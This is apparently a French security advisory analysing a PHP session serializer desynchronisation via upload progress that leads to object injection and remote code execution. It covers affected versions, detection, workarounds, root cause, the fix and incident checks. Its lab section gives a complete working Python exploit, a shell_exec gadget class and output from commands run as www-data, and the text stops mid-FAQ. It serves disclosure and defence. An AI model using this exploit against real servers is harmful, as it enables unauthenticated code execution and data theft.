79 % contre 51 % : les néobanques indépendantes en retard sur la sécurité des applications. Lire le rapport

Analyse approfondie

Analyse approfondie

PHP : RCE via le sérialiseur de progression d'envoi (CVE-2026-115560)

Les applications PHP qui changent de sérialiseur à l'exécution peuvent désérialiser des données d'envoi et exécuter du code ; corrigé en 8.5.13 à 8.2.36.

En bref

  • Le gestionnaire de progression d'envoi de PHP peut écrire une clé de session contrôlée par l'attaquant avec un sérialiseur, puis relire l'enregistrement avec un autre. CVE-2026-115560 transforme ce décalage en injection d'objet et en exécution de code.
  • Seuls les déploiements qui règlent session.serialize_handler sur php_serialize ou php_binary au démarrage, puis sur php à l'exécution, avec la progression d'envoi active, sont exposés. PHP juge cette combinaison inhabituelle et ce vecteur peu probable.
  • Aucune exploitation dans la nature n'est connue, et CVE-2026-115560 n'est pas dans le KEV de la CISA au 2026-11-19. L'avis PHP (GHSA-658j-r8rw-q6mx) et l'enregistrement CVE-2026-115560 publié classent la faille CRITICAL avec un score CVSS v4.0 de 9,2 (CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N).
  • Mettez à jour vers PHP 8.5.13, 8.4.28, 8.3.37 ou 8.2.36, publiés le 2026-11-19. D'ici la mise à jour, réglez session.upload_progress.enabled=0 dans la configuration de démarrage et cessez de changer de sérialiseur à l'exécution.

Suis-je concerné ?

Toutes ces conditions doivent être réunies :

  • L'installation exécute PHP et sert des requêtes web par PHP-FPM, Apache mod_php, php-cgi, FrankenPHP ou LiteSpeed.
  • La configuration de démarrage ou par répertoire règle session.serialize_handler sur php_serialize ou php_binary.
  • Un point d'entrée joignable appelle ini_set('session.serialize_handler', 'php') avant session_start().
  • session.upload_progress.enabled et file_uploads sont à leurs valeurs par défaut, tous deux actifs.

Une chaîne d'exécution de code exige aussi une classe dotée d'une méthode utile __wakeup(), __unserialize(), Serializable::unserialize() ou __destruct(), chargée ou chargeable automatiquement au moment où session_start() s'exécute. Sans un tel gadget, le décalage construit quand même un objet, mais l'impact dépend de ce que cet objet peut faire.

Cette analyse porte sur php-8.5.12. Le correctif a été livré dans la publication de sécurité du 2026-11-19 en PHP 8.5.13, 8.4.28, 8.3.37 et 8.2.36. Les applications qui ne changent jamais de sérialiseur à l'exécution et ne partagent pas de stockage de session avec un autre sérialiseur sont hors du chemin documenté.

Branche Versions concernées Version corrigée
PHP 8.5 jusqu'à 8.5.12 8.5.13
PHP 8.4 jusqu'à 8.4.27 8.4.28
PHP 8.3 jusqu'à 8.3.36 8.3.37
PHP 8.2 jusqu'à 8.2.35 8.2.36
PHP 8.1 et antérieurs hors support par le projet PHP aucune publication PHP ; vérifiez la distribution ou le fournisseur

Vérifiez le moteur et la configuration sur chaque hôte et dans chaque conteneur qui sert PHP :

php -v
php -i | grep -E 'session.serialize_handler|session.upload_progress.enabled|file_uploads'
php-fpm -i 2>/dev/null | grep -E 'session.serialize_handler|session.upload_progress.enabled'
grep -R "session.serialize_handler" /etc/php /etc/php-fpm.d /etc/apache2 2>/dev/null
grep -R --include='*.php' "session.serialize_handler" /var/www 2>/dev/null
docker exec <container> php -i | grep -E 'session.serialize_handler|session.upload_progress.enabled'

La recherche dans l'arborescence de l'application trouve la moitié « exécution » de la condition. Elle ne renvoie rien quand l'application n'appelle jamais ini_set() pour ce réglage, ce qui est le cas courant et la raison pour laquelle la faille est étroite.

Comment corriger ?

Passez à la publication de sécurité du 2026-11-19 pour votre branche : PHP 8.5.13, 8.4.28, 8.3.37 ou 8.2.36.

# Debian and Ubuntu, PHP 8.5 packages
sudo apt update
sudo apt install --only-upgrade php8.5-cli php8.5-fpm libapache2-mod-php8.5

# RHEL, Fedora and derivatives
sudo dnf upgrade 'php*'

# Alpine
sudo apk upgrade 'php*'
  1. Mettez à jour tous les paquets qui portent le moteur PHP, y compris la CLI, FPM et le module Apache, puis redémarrez le service qui sert les requêtes.
  2. Reconstruisez et recréez les conteneurs à partir de l'image corrigée. Un simple téléchargement de l'image ne modifie pas un conteneur en cours d'exécution.
  3. Vérifiez le résultat avec php -v dans le service en cours et confirmez qu'il correspond à la version corrigée.
  4. Si une distribution n'a pas encore reconstruit ses paquets, utilisez le contournement et surveillez le suivi de sécurité de la distribution.

Si vous ne pouvez pas mettre à jour immédiatement, supprimez les conditions nécessaires à l'attaque :

  1. Réglez session.upload_progress.enabled=0 dans php.ini, le pool FPM ou la configuration Apache. N'utilisez pas ini_set() ni .user.ini pour ce réglage, car ils s'appliquent après le démarrage de la requête.
  2. Redémarrez chaque processus PHP pour que le réglage prenne effet.
  3. Cessez d'appeler ini_set('session.serialize_handler', ...), et gardez la valeur de démarrage et la valeur d'exécution identiques.
  4. Confirmez les deux réglages avec php -i sur le service en cours.

Désactiver la progression d'envoi supprime l'écriture qui transporte les octets de l'attaquant. Garder le sérialiseur cohérent supprime le décalage. L'un ou l'autre casse la chaîne documentée. Aucun des deux ne répare l'hypothèse du moteur selon laquelle l'écrivain et le lecteur sont d'accord, alors traitez le contournement comme temporaire et mettez à jour.

Quelle est la cause racine ?

PHP écrit un enregistrement de session avec un sérialiseur et le relit avec un autre, et l'enregistrement stocké ne porte aucune étiquette indiquant quel format a été utilisé.

L'extension de session de PHP conserve le sérialiseur actif dans un pointeur global unique, PS(serializer). Il est défini depuis INI au démarrage et peut être remplacé à l'exécution parce que session.serialize_handler est enregistré en PHP_INI_ALL. Les trois sérialiseurs intégrés ne partagent pas le même format :

  • php écrit la clé brute, un caractère pipe et la valeur sérialisée.
  • php_serialize écrit tout le tableau de session en une seule charge serialize().
  • php_binary écrit une longueur de clé sur un octet, la clé brute et la valeur sérialisée.

Le pipe n'est structurel que pour le format php. L'encodeur php le sait et refuse une clé qui en contient un (ext/session/session.c:1099-1110) :

PS_ENCODE_LOOP(
    smart_str_append(&buf, key);
    if (memchr(ZSTR_VAL(key), PS_DELIMITER, ZSTR_LEN(key))) {
        PHP_VAR_SERIALIZE_DESTROY(var_hash);
        smart_str_free(&buf);
        fail = true;
        php_error_docref(NULL, E_WARNING, "Failed to write session data. Data contains invalid key \"%s\"", ZSTR_VAL(key));
        break;
    }
    smart_str_appendc(&buf, PS_DELIMITER);
    php_var_serialize(&buf, struc, &var_hash);
);

Les deux autres encodeurs ne vérifient pas le pipe, car tant que le sérialiseur reste cohérent, le pipe n'a aucun sens pour leurs décodeurs. php_serialize sérialise le tableau entier (session.c:979-990), et php_binary écrit les octets bruts de la clé après un octet de longueur (session.c:1027-1046).

Le gestionnaire de progression d'envoi s'exécute avant le script, pendant l'analyse multipart. Quand une requête porte un champ nommé PHP_SESSION_UPLOAD_PROGRESS, le gestionnaire ajoute la valeur brute à la clé de session (session.c:3265-3273) :

} else if (zend_string_equals_cstr(PS(rfc1867_name), data->name, name_len)) {
    smart_str_free(&progress->key);
    smart_str_append(&progress->key, PS(rfc1867_prefix));
    smart_str_appendl(&progress->key, *data->value, value_len);
    smart_str_0(&progress->key);

    progress->apply_trans_sid = APPLY_TRANS_SID;
    php_session_rfc1867_early_find_sid(progress);
}

Rejeter le champ par le filtre d'entrée du SAPI ne retire pas la valeur. Dans la branche d'échec, l'analyseur multipart appelle quand même le rappel de session avec les octets non filtrés (main/rfc1867.c:988-1002). Le gestionnaire écrit ensuite l'enregistrement avec le sérialiseur de démarrage et le vide. Le vidage ferme le stockage de session (session.c:582), ce qui, pour le gestionnaire de fichiers, libère le verrou sur sess_<id> pendant que le corps de l'envoi arrive encore.

Le changement à l'exécution est autorisé parce qu'aucune session n'est active au début du script. OnUpdateSerializer() refuse le changement seulement tant qu'une session est active (session.c:640-666) :

static PHP_INI_MH(OnUpdateSerializer)
{
    const ps_serializer *tmp;

    SESSION_CHECK_ACTIVE_STATE;
    SESSION_CHECK_OUTPUT_STATE;

    tmp = _php_find_ps_serializer(ZSTR_VAL(new_value));
    ...
    PS(serializer) = tmp;

    return SUCCESS;
}

Avec session.auto_start=0, la valeur par défaut, ini_set('session.serialize_handler', 'php') atteint cette affectation. Le session_start() suivant lit l'enregistrement stocké avec le décodeur php, qui avance jusqu'au premier pipe et passe tout ce qui suit à php_var_unserialize() (session.c:1136-1150) :

while (p < endptr) {
    q = p;
    while (*q != PS_DELIMITER) {
        if (++q >= endptr) {
            retval = FAILURE;
            goto break_outer_loop;
        }
    }

    namelen = q - p;
    name = zend_string_init(p, namelen, 0);
    q++;

    current = var_tmp_var(&var_hash);
    if (php_var_unserialize(current, (const unsigned char **)&q, (const unsigned char *)endptr, &var_hash)) {

Le durcissement antérieur pour CVE-2026-109619 ne couvre pas ce chemin. Il active PS(in_rfc1867_update) pendant que le gestionnaire d'envoi décode et réencode la session. php_session_unserialize_init() garde les objets en __PHP_Incomplete_Class seulement tant que cet indicateur est actif (session.c:958-977). L'objet de l'attaquant n'est pas désérialisé pendant l'écriture de l'envoi. Il est désérialisé plus tard, dans le session_start() de l'application, où l'indicateur est faux.

Comment la faille est-elle exploitée ?

Un attaquant qui peut joindre un point d'entrée effectuant le changement à l'exécution peut faire désérialiser par le moteur un objet de son choix. Il contrôle ses propriétés, et l'objet est construit avant le code du point d'entrée.

  1. L'attaquant obtient ou choisit un identifiant de session. session.use_strict_mode est désactivé par défaut, donc PHP accepte un identifiant non émis ; avec le mode strict, l'attaquant visite l'application une fois et garde l'identifiant renvoyé.
  2. L'attaquant envoie une requête POST multipart/form-data portant Cookie: PHPSESSID=<id>, un champ PHP_SESSION_UPLOAD_PROGRESS et une partie fichier. Le pipe suivi de l'objet sérialisé peut être placé soit dans la valeur du champ PHP_SESSION_UPLOAD_PROGRESS (stockée dans la clé de session), soit dans l'attribut filename de la partie fichier (stocké dans le champ files[0]['name'], comme l'utilise le PoC du laboratoire local).
  3. Au démarrage de la requête, le gestionnaire d'envoi ajoute la clé à la session et écrit l'enregistrement avec le sérialiseur de démarrage. Ce sérialiseur écrit le pipe tel quel.
  4. L'attaquant rend l'enregistrement lisible par le décodeur php. Avec la valeur par défaut session.upload_progress.cleanup=1, l'attaquant maintient le premier envoi ouvert avant sa frontière MIME de fin et envoie une seconde requête avec le même cookie. Avec session.upload_progress.cleanup=0, l'enregistrement survit sur disque après la requête d'envoi, si bien que le décodage peut s'exécuter dans la même requête lorsque l'envoi cible le point d'entrée vulnérable, ou dans une requête ultérieure avec le même cookie, ce qui correspond au flux démontré dans le laboratoire local.
  5. Le point d'entrée appelle ini_set('session.serialize_handler', 'php') puis session_start(). Le décodeur coupe l'enregistrement au premier pipe et remet les octets suivants à php_var_unserialize().
  6. PHP_VAR_UNSERIALIZE_DESTROY appelle __wakeup() ou __unserialize(), et un décodage en échec détruit la session et appelle __destruct(). Le gadget s'exécute avec les privilèges du processus PHP.

Comment reproduire la faille dans un laboratoire local ?

Un laboratoire Docker minimal exécutant php:8.4.27-apache reproduit la désynchronisation des sérialiseurs de bout en bout dans un environnement de test isolé. Le laboratoire associe session.serialize_handler = php_serialize dans php.ini à un point d'entrée qui bascule le gestionnaire sur php via ini_set() avant d'appeler session_start().

Quatre briques fondamentales expliquent comment la preuve de concept transforme le décalage de sérialiseurs en exécution de code :

  • Primitive d'injection d'objets PHP : CVE-2026-115560 n'est pas un bug de corruption mémoire en C ; c'est une vulnérabilité de désérialisation (injection d'objets) au sein du moteur de session de PHP. Lorsqu'elle est déclenchée, PHP prend une chaîne contrôlée par l'attaquant (O:6:"Gadget":1:{s:3:"cmd";s:6:"whoami";}) et la transmet au moteur interne unserialize() de PHP (php_var_unserialize()).
  • Ce que fait unserialize() avec O:6:"Gadget":... : Le préfixe O:6:"Gadget" indique à PHP d'allouer une nouvelle instance de la classe Gadget sans appeler __construct(). Le corps :1:{s:3:"cmd";s:6:"whoami";} renseigne une propriété sur cette instance : $this->cmd = "whoami".
  • Le crochet de méthode magique __wakeup() : __wakeup() est une méthode magique intégrée à PHP. Chaque fois que PHP termine de désérialiser un objet à partir d'une charge O:..., le moteur vérifie si la classe définit __wakeup() et invoque automatiquement $object->__wakeup() dans PHP_VAR_UNSERIALIZE_DESTROY, avant même que session_start() ne se termine. Si une classe n'a pas de méthode magique (__wakeup(), __unserialize() ou __destruct()), la désérialiser crée uniquement un objet passif en mémoire ; lorsque __wakeup() est présent, PHP exécute immédiatement cette méthode avec les valeurs de propriétés ($this->cmd) injectées par l'attaquant.
  • Pourquoi le laboratoire utilise une classe Gadget synthétique : Dans les applications PHP en production utilisant des frameworks ou des bibliothèques comme Laravel, Symfony, Monolog, Guzzle ou des extensions WordPress, les dépendances dans vendor/ contiennent déjà des classes dotées de méthodes __wakeup() ou __destruct() qui forment des chaînes de gadgets de programmation orientée propriétés (POP). Plutôt que d'installer un framework complet dans le conteneur de test, le laboratoire définit une classe Gadget de 10 lignes pour représenter une classe chargée automatiquement dans l'application cible.

La configuration suivante est destinée aux tests locaux autorisés dans un conteneur isolé. Dans php-custom.ini, le sérialiseur de démarrage est défini sur php_serialize, la progression d'envoi est activée et session.upload_progress.cleanup est défini sur 0 afin que l'enregistrement de progression reste sur le disque entre deux requêtes séquentielles :

session.serialize_handler = php_serialize
session.upload_progress.enabled = 1
session.upload_progress.cleanup = 0
session.upload_progress.prefix = "upload_progress_"
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
session.save_path = /tmp/php-sessions
session.save_handler = files
session.auto_start = 0

Le point d'entrée cible (index.php) définit la classe Gadget avec un crochet __wakeup(), bascule session.serialize_handler sur php à l'exécution et appelle session_start(). Notez que index.php n'appelle jamais new Gadget() dans son propre code ; l'objet est instancié uniquement lorsque session_start() décode le fichier de session empoisonné :

<?php
class Gadget {
    public string $cmd = 'echo "no command"';

    public function __wakeup(): void {
        echo "<pre>[__wakeup triggered] Running: " . htmlspecialchars($this->cmd) . "\n";
        echo shell_exec($this->cmd);
        echo "</pre>";
    }
}

ini_set('session.serialize_handler', 'php');
session_start();

Deux points d'entrée auxiliaires complètent le conteneur du laboratoire : upload.php reçoit le POST multipart sans appeler session_start() afin que le rappel RFC 1867 écrive l'enregistrement de progression d'envoi avec le gestionnaire de démarrage php_serialize, et check_session.php affiche /tmp/php-sessions/sess_<id> sans le désérialiser :

<?php
// upload.php
header('Content-Type: text/plain');
echo "Upload received.\n";
echo "Session cookie: " . ($_COOKIE['PHPSESSID'] ?? 'none') . "\n";

$sid = $_COOKIE['PHPSESSID'] ?? '';
if ($sid !== '') {
    $path = '/tmp/php-sessions/sess_' . basename($sid);
    if (file_exists($path)) {
        echo "\nRaw session file after upload:\n";
        echo file_get_contents($path) . "\n";
    } else {
        echo "\nSession file not yet created: $path\n";
    }
}
<?php
// check_session.php
header('Content-Type: text/plain');

$sid = $_GET['sid'] ?? '';
if ($sid === '') {
    echo "Usage: ?sid=<session_id>\n";
    exit;
}

$path = '/tmp/php-sessions/sess_' . basename($sid);
if (file_exists($path)) {
    echo "=== Raw session file: $path ===\n\n";
    echo file_get_contents($path);
} else {
    echo "Session file not found: $path";
}

Le script de preuve de concept ci-dessous (exploit.py) établit un cookie de session, envoie un fichier multipart/form-data brut dont l'attribut filename commence par |O:6:"Gadget":1:{...} (avec les guillemets doubles échappés en \" afin que main/rfc1867.c les rétablisse en guillemets littéraux sans encodage URL), puis appelle index.php pour déclencher PS_SERIALIZER_DECODE_FUNC(php) :

"""
CVE-2026-115560 — PHP Session Serializer Desync via Upload Progress

Proof of Concept exploit for the session format desynchronization vulnerability.

Attack flow:
  1. POST multipart upload to upload.php with PHP_SESSION_UPLOAD_PROGRESS and a
     crafted filename containing |O:6:"Gadget":1:{s:3:"cmd";s:<len>:"<command>";}
     → php_session_rfc1867_callback writes upload progress to session file
       using php_serialize (from php.ini) — no | escaping.
  2. GET index.php with the same session cookie.
     → ini_set('session.serialize_handler', 'php') + session_start()
     → 'php' decoder splits on |, deserializes the injected Gadget object
     → __wakeup() fires → shell_exec()

Note: We craft the raw multipart body to avoid URL-encoding of quotes in the
      filename, which the Python requests library does by default.

Requirements:
  - session.serialize_handler = php_serialize  (in php.ini)
  - session.upload_progress.enabled = 1        (default)
  - App does ini_set('session.serialize_handler', 'php') before session_start()

Usage:
  python3 exploit.py [target_url] [command]

  Defaults: target_url=http://localhost:8084  command=id
"""
import argparse

import requests


BOUNDARY = "----ExploitBoundary7d93e2a1"


def build_serialized_object(command: str) -> str:
    return f'O:6:"Gadget":1:{{s:3:"cmd";s:{len(command)}:"{command}";}}'


def build_multipart_body(payload_filename: str, file_content: bytes) -> bytes:
    """Build raw multipart/form-data body with unescaped filename."""
    parts = []

    # Part 1: PHP_SESSION_UPLOAD_PROGRESS field (triggers session init)
    parts.append(
        f"--{BOUNDARY}\r\n"
        f'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n'
        f"\r\n"
        f"pwned\r\n"
    )

    # Part 2: File upload with crafted filename
    # The filename contains the pipe + serialized object.
    # We must escape " as \" inside the Content-Disposition header's filename="..."
    # value, because unescaped " would close the attribute prematurely.
    # PHP's rfc1867.c multipart parser correctly unescapes \" back to literal ".
    escaped_filename = payload_filename.replace("\\", "\\\\").replace('"', '\\"')
    parts.append(
        f"--{BOUNDARY}\r\n"
        f'Content-Disposition: form-data; name="file"; filename="{escaped_filename}"\r\n'
        f"Content-Type: application/octet-stream\r\n"
        f"\r\n"
    )

    body = "".join(parts).encode("latin-1")
    body += file_content
    body += f"\r\n--{BOUNDARY}--\r\n".encode("latin-1")

    return body


def exploit(target: str, command: str) -> None:
    session = requests.Session()
    base = target.rstrip("/")

    serialized_obj = build_serialized_object(command)
    payload_filename = f"|{serialized_obj}"

    print(f"[*] Target: {base}")
    print(f"[*] Command: {command}")
    print(f"[*] Serialized object: {serialized_obj}")
    print(f"[*] Payload filename: {payload_filename}")
    print()

    # Step 0: Establish a session to get a PHPSESSID cookie
    print("[0] Establishing session...")
    session.get(f"{base}/index.php")
    sid = session.cookies.get("PHPSESSID", "")
    print(f"    Session ID: {sid}")
    print()

    # Step 1: POST multipart upload to upload.php
    # Craft raw body to preserve literal " in filename
    print("[1] Sending multipart upload with crafted filename to /upload.php...")

    file_content = b"A" * 65536
    raw_body = build_multipart_body(payload_filename, file_content)

    resp1 = session.post(
        f"{base}/upload.php",
        data=raw_body,
        headers={"Content-Type": f"multipart/form-data; boundary={BOUNDARY}"},
    )
    print(f"    HTTP {resp1.status_code}")
    print(f"    Response:")
    for line in resp1.text.strip().split("\n"):
        print(f"      {line}")
    print()

    # Step 1.5: Verify payload in raw session file
    print("[1.5] Checking raw session file...")
    resp_check = session.get(f"{base}/check_session.php?sid={sid}")
    for line in resp_check.text.strip().split("\n"):
        print(f"      {line}")
    print()

    # Step 2: GET index.php to trigger deserialization
    # index.php does: ini_set('session.serialize_handler', 'php'); session_start();
    # The 'php' decoder reads the php_serialize data, finds | in the filename,
    # and passes the payload to php_var_unserialize() → __wakeup() → RCE
    print("[2] Triggering deserialization via GET /index.php ...")
    resp2 = session.get(f"{base}/index.php")
    print(f"    HTTP {resp2.status_code}")
    print()

    if "__wakeup triggered" in resp2.text:
        print("[+] EXPLOITED — __wakeup() was triggered! RCE confirmed.")
        start = resp2.text.find("[__wakeup triggered]")
        end = resp2.text.find("</pre>", start)
        if start >= 0 and end >= 0:
            print()
            print(resp2.text[start:end])
    else:
        print("[-] Gadget did not fire on this attempt.")
        print()
        # Show PHP warnings if any
        for line in resp2.text.split("\n"):
            stripped = line.strip()
            if "Warning" in stripped or "Notice" in stripped or "Fatal" in stripped:
                print(f"    PHP: {stripped[:200]}")
        print()
        print(f"    Debug: {base}/check_session.php?sid={sid}")

    print()
    print("[*] Done.")


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="CVE-2026-115560 PoC")
    parser.add_argument("target", nargs="?", default="http://localhost:8084",
                        help="Target URL (default: http://localhost:8084)")
    parser.add_argument("command", nargs="?", default="id",
                        help="Command to execute (default: id)")
    args = parser.parse_args()

    exploit(target=args.target, command=args.command)

L'exécution de exploit.py contre le conteneur php:8.4.27-apache écrit le pipe non échappé et la charge Gadget sérialisée dans /tmp/php-sessions/sess_<id> lors de l'étape d'envoi, puis déclenche Gadget::__wakeup() lors de la requête GET /index.php suivante :

$ python3 exploit.py http://localhost:8084 whoami
[*] Target: http://localhost:8084
[*] Command: whoami
[*] Serialized object: O:6:"Gadget":1:{s:3:"cmd";s:6:"whoami";}
[*] Payload filename: |O:6:"Gadget":1:{s:3:"cmd";s:6:"whoami";}

[0] Establishing session...
    Session ID: ddda797e6af8bdba6401bab8062dbd3d

[1] Sending multipart upload with crafted filename to /upload.php...
    HTTP 200
    Response:
      Upload received.
      Session cookie: ddda797e6af8bdba6401bab8062dbd3d

      Raw session file after upload:
      a:1:{s:21:"upload_progress_pwned";a:5:{s:10:"start_time";i:1795096805;s:14:"content_length";i:65857;s:15:"bytes_processed";i:65857;s:4:"done";b:1;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:41:"|O:6:"Gadget":1:{s:3:"cmd";s:6:"whoami";}";s:8:"tmp_name";s:27:"/tmp/phpt586jhskkueq0oOkcCT";s:5:"error";i:0;s:4:"done";b:1;s:10:"start_time";i:1795096805;s:15:"bytes_processed";i:65536;}}}}

[1.5] Checking raw session file...
      === Raw session file: /tmp/php-sessions/sess_ddda797e6af8bdba6401bab8062dbd3d ===

      a:1:{s:21:"upload_progress_pwned";a:5:{s:10:"start_time";i:1795096805;s:14:"content_length";i:65857;s:15:"bytes_processed";i:65857;s:4:"done";b:1;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:41:"|O:6:"Gadget":1:{s:3:"cmd";s:6:"whoami";}";s:8:"tmp_name";s:27:"/tmp/phpt586jhskkueq0oOkcCT";s:5:"error";i:0;s:4:"done";b:1;s:10:"start_time";i:1795096805;s:15:"bytes_processed";i:65536;}}}}

[2] Triggering deserialization via GET /index.php ...
    HTTP 200

[+] EXPLOITED — __wakeup() was triggered! RCE confirmed.

[__wakeup triggered] Running: whoami
www-data


[*] Done.

$ python3 exploit.py http://localhost:8084 "ls /"
[*] Target: http://localhost:8084
[*] Command: ls /
[*] Serialized object: O:6:"Gadget":1:{s:3:"cmd";s:4:"ls /";}
[*] Payload filename: |O:6:"Gadget":1:{s:3:"cmd";s:4:"ls /";}

[0] Establishing session...
    Session ID: 2ffd23b0781b8886a49a001d723272b3

[1] Sending multipart upload with crafted filename to /upload.php...
    HTTP 200
    Response:
      Upload received.
      Session cookie: 2ffd23b0781b8886a49a001d723272b3

      Raw session file after upload:
      a:1:{s:21:"upload_progress_pwned";a:5:{s:10:"start_time";i:1795096810;s:14:"content_length";i:65855;s:15:"bytes_processed";i:65855;s:4:"done";b:1;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:39:"|O:6:"Gadget":1:{s:3:"cmd";s:4:"ls /";}";s:8:"tmp_name";s:27:"/tmp/phpm0druteh4qg69SLzfU8";s:5:"error";i:0;s:4:"done";b:1;s:10:"start_time";i:1795096810;s:15:"bytes_processed";i:65536;}}}}

[2] Triggering deserialization via GET /index.php ...
    HTTP 200

[+] EXPLOITED — __wakeup() was triggered! RCE confirmed.

[__wakeup triggered] Running: ls /
bin
boot
dev
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var


[*] Done.

$ python3 exploit.py http://localhost:8084 "id"
[*] Target: http://localhost:8084
[*] Command: id
[*] Serialized object: O:6:"Gadget":1:{s:3:"cmd";s:2:"id";}
[*] Payload filename: |O:6:"Gadget":1:{s:3:"cmd";s:2:"id";}

[0] Establishing session...
    Session ID: 98c162d7ecf462372c94193f5e5cdba1

[1] Sending multipart upload with crafted filename to /upload.php...
    HTTP 200
    Response:
      Upload received.
      Session cookie: 98c162d7ecf462372c94193f5e5cdba1

      Raw session file after upload:
      a:1:{s:21:"upload_progress_pwned";a:5:{s:10:"start_time";i:1795096814;s:14:"content_length";i:65853;s:15:"bytes_processed";i:65853;s:4:"done";b:1;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:37:"|O:6:"Gadget":1:{s:3:"cmd";s:2:"id";}";s:8:"tmp_name";s:27:"/tmp/php15e46dl4mmkv1qCw7Y3";s:5:"error";i:0;s:4:"done";b:1;s:10:"start_time";i:1795096814;s:15:"bytes_processed";i:65536;}}}}

[2] Triggering deserialization via GET /index.php ...
    HTTP 200

[+] EXPLOITED — __wakeup() was triggered! RCE confirmed.

[__wakeup triggered] Running: id
uid=33(www-data) gid=33(www-data) groups=33(www-data)


[*] Done.

Comment se déroule l'attaque ?

Les octets de l'attaquant passent par une écriture faite avant le script et par une lecture faite par un autre sérialiseur dans le script.

flowchart LR A["POST multipart
avec PHP_SESSION_UPLOAD_PROGRESS"] --> B["Le gestionnaire d'envoi s'exécute
avant le script"] B --> C["La clé de session contient
les octets de l'attaquant avec un pipe"] C --> D["Le sérialiseur de démarrage écrit
l'enregistrement, pipe non échappé"] D --> E["La seconde requête atteint
ini_set puis session_start"] E --> F["Le décodeur php coupe
au premier pipe"] F --> G["php_var_unserialize
construit l'objet"] G --> H["La méthode magique exécute
du code comme le processus"]

L'étape qui rend la chaîne possible est l'écriture par le sérialiseur de démarrage, car elle stocke un pipe que le décodeur ultérieur traite comme une structure.

Que peut faire un attaquant ?

Quand les conditions de configuration sont réunies et que l'application possède un gadget utilisable, un attaquant non authentifié peut exécuter du code avec les privilèges du processus PHP qui sert la requête.

  • L'attaquant peut lire les variables d'environnement, la configuration de l'application et les identifiants accessibles au processus.
  • L'attaquant peut lire et modifier la base de données de l'application par la connexion de l'application elle-même.
  • L'attaquant peut écrire les fichiers que le processus peut écrire, notamment les fichiers de session et les caches de modèles.
  • L'attaquant peut utiliser l'hôte comme point de départ pour un accès plus large, selon son cloisonnement.

Les conditions sont celles qui rendent la faille joignable. Le sérialiseur de démarrage doit être php_serialize ou php_binary. Le point d'entrée doit passer à php avant session_start(). La progression d'envoi doit être active. La classe gadget doit être chargeable. PHP décrit la configuration comme inhabituelle et le vecteur comme peu probable, et indique que les applications qui ne changent jamais de sérialiseur à l'exécution ne sont pas concernées.

Le dossier public ne démontre pas de compromission de bout en bout. L'impact décrit ici est celui de la primitive, pas le récit d'une victime.

Pourquoi le correctif fonctionne-t-il ?

Le correctif dans PHP 8.5.13, 8.4.28, 8.3.37 et 8.2.36 (avis GHSA-658j-r8rw-q6mx, commit 522afb690f) comble la désynchronisation du sérialiseur à l'exécution dans ext/session/session.c par deux changements dans le moteur et une exigence opérationnelle.

Le correctif applique trois niveaux de défense :

  1. Changer la valeur par défaut de session.upload_progress.enabled de "1" à "0" dans PHP_INI_BEGIN(), de sorte que les écritures de session de progression d'envoi soient désactivées sauf si un administrateur les active explicitement.
  2. Imposer SESSION_CHECK_UPLOAD_PROGRESS_STATE dans OnUpdateSerializer() et les autres gestionnaires de mise à jour INI de session, en levant une erreur (Session ini settings cannot be changed at runtime when session.upload_progress.enabled is On) dès qu'un script tente de changer session.serialize_handler à l'exécution alors que la progression d'envoi est active.
  3. Exiger que les déploiements qui activent explicitement session.upload_progress.enabled utilisent le même session.serialize_handler sur tous les pools FPM, hôtes virtuels et processus CLI qui partagent un répertoire de stockage de session.

Ensemble, la désactivation par défaut de la progression d'envoi et le blocage de ini_set('session.serialize_handler', ...) lorsque la progression d'envoi est active empêchent une même application d'écrire un enregistrement de progression d'envoi avec un sérialiseur et de le décoder à l'exécution avec un autre.

Comment vérifier si j'ai été compromis ?

Aucun indicateur de compromission n'est publié pour CVE-2026-115560, et une tentative qui n'a pas réussi à construire un objet utilisable peut ne laisser aucune trace distinctive.

Si une configuration exposée était joignable depuis internet, conservez les journaux du serveur web, du proxy inverse et de PHP qui couvrent la période. Examinez-les pour les requêtes multipart portant PHP_SESSION_UPLOAD_PROGRESS et pour les identifiants de session que l'application n'a pas émis.

Vérifiez le stockage de session pour les enregistrements qui contiennent un pipe suivi d'un objet sérialisé. Traitez un résultat comme une piste, pas comme une preuve : un enregistrement de progression légitime contient aussi le nom du champ, et un décodage en échec peut déjà avoir supprimé l'enregistrement.

Examinez le journal d'erreurs PHP pour les avertissements de décodage autour des mêmes requêtes. Un échec de décodage peut détruire la session et laisser un avertissement. Si vous trouvez des signes d'exécution, conservez une image de l'hôte et renouvelez les identifiants accessibles au processus.

Chronologie

  • 2026-10-21 : PHP publie 8.5.12, 8.4.27, 8.3.36 et 8.2.35 pour CVE-2026-109618 et CVE-2026-109619, le duo connu sous le nom de PHP2Shell. L'avis CVE-2026-109619 recommande déjà session.upload_progress.enabled=0 comme mesure d'atténuation.
  • 2026-10-23 : PHP publie un avis informatif pour CVE-2026-115560, décrit la combinaison de configuration et recommande de garder la progression d'envoi désactivée jusqu'à la prochaine publication régulière.
  • 2026-11-18 : PHP annonce la publication de sécurité régulière du 2026-11-19 entre 14:00 et 14:30 UTC, avec une sévérité maximale CRITICAL et les détails publiés avec la version.
  • 2026-11-19 : PHP publie 8.5.13, 8.4.28, 8.3.37 et 8.2.36 ainsi que l'avis GHSA-658j-r8rw-q6mx pour CVE-2026-115560.

Chronologie de CVE-2026-115560, de l'avis d'octobre à la publication de novembre
Figure 1 : PHP a divulgué le problème de configuration en octobre et a livré le correctif le 2026-11-19. Source : l'archive des actualités de PHP, consultée le 19 novembre 2026.

FAQ

Est-elle exploitable sans authentification ?

Oui, quand les quatre conditions de configuration sont réunies. L'attaquant n'a besoin ni de compte ni d'accès administratif. Il a besoin d'un identifiant de session et d'un point d'entrée joignable qui change le sérialiseur à l'exécution.

Pourquoi la configuration par défaut ne la déclenche-t-elle pas ?

